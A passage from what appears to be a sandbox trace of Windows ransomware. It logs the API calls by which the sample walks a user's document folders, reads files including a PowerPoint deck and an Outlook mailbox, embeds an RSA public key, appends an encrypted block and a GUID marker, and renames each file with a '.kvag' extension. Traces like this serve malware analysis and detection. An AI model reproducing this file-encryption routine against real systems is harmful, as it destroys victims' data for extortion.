lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x7a64, lpOverlapped=0x0) returned 1 [0120.337] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.337] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.337] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.337] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.338] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.338] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.338] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.338] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.338] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.338] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.338] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.338] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.338] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.339] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.339] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.339] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.339] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.339] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.339] CloseHandle (hObject=0x61c) returned 1 [0120.340] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\zEPqRnNSMkR2u9.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\zepqrnnsmkr2u9.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\zEPqRnNSMkR2u9.pptx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\zepqrnnsmkr2u9.pptx.kvag")) returned 1 [0120.342] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18907a0, ftCreationTime.dwHighDateTime=0x1d4c9b5, ftLastAccessTime.dwLowDateTime=0x45a810c0, ftLastAccessTime.dwHighDateTime=0x1d4d153, ftLastWriteTime.dwLowDateTime=0x45a810c0, ftLastWriteTime.dwHighDateTime=0x1d4d153, nFileSizeHigh=0x0, nFileSizeLow=0x7a64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zEPqRnNSMkR2u9.pptx", cAlternateFileName="ZEPQRN~1.PPT")) returned 0 [0120.342] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.342] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.342] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.342] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0120.342] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0120.342] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.342] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.342] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.342] PathFindFileNameW (pszPath="") returned="" [0120.342] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18907a0, ftCreationTime.dwHighDateTime=0x1d4c9b5, ftLastAccessTime.dwLowDateTime=0x45a810c0, ftLastAccessTime.dwHighDateTime=0x1d4d153, ftLastWriteTime.dwLowDateTime=0x45a810c0, ftLastWriteTime.dwHighDateTime=0x1d4d153, nFileSizeHigh=0x0, nFileSizeLow=0x7a64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zEPqRnNSMkR2u9.pptx", cAlternateFileName="ZEPQRN~1.PPT")) returned 0xffffffff [0120.342] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.342] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.342] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0120.343] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0120.343] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.343] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.343] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.343] PathFindFileNameW (pszPath="") returned="" [0120.343] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18907a0, ftCreationTime.dwHighDateTime=0x1d4c9b5, ftLastAccessTime.dwLowDateTime=0x45a810c0, ftLastAccessTime.dwHighDateTime=0x1d4d153, ftLastWriteTime.dwLowDateTime=0x45a810c0, ftLastWriteTime.dwHighDateTime=0x1d4d153, nFileSizeHigh=0x0, nFileSizeLow=0x7a64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zEPqRnNSMkR2u9.pptx", cAlternateFileName="ZEPQRN~1.PPT")) returned 0xffffffff [0120.343] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.343] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.343] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0120.343] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0120.343] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.343] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.343] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.343] PathFindFileNameW (pszPath="") returned="" [0120.343] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.343] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.343] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.344] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned=".ini" [0120.344] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0120.344] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned=".vss" [0120.344] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.344] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=0) returned 1 [0120.344] CloseHandle (hObject=0x61c) returned 1 [0120.345] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.kvag")) returned 1 [0120.345] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0120.345] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0120.345] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.345] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.345] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.345] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0120.345] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0120.346] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.346] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.346] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.346] PathFindFileNameW (pszPath="") returned="" [0120.346] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0120.346] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.346] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.346] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0120.346] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0120.346] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.346] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.346] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.346] PathFindFileNameW (pszPath="") returned="" [0120.346] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.346] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.347] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0120.347] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned=".pst" [0120.347] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.347] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=271360) returned 1 [0120.347] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.349] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x423da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.349] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.350] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.350] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x25805, lpOverlapped=0x0) returned 1 [0120.353] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.353] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.353] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.353] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.353] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.353] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.354] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.354] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.354] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.354] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.354] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.354] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.354] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.355] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.356] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x42400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.356] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.592] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.592] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.592] CloseHandle (hObject=0x61c) returned 1 [0120.596] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.kvag")) returned 1 [0120.597] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: 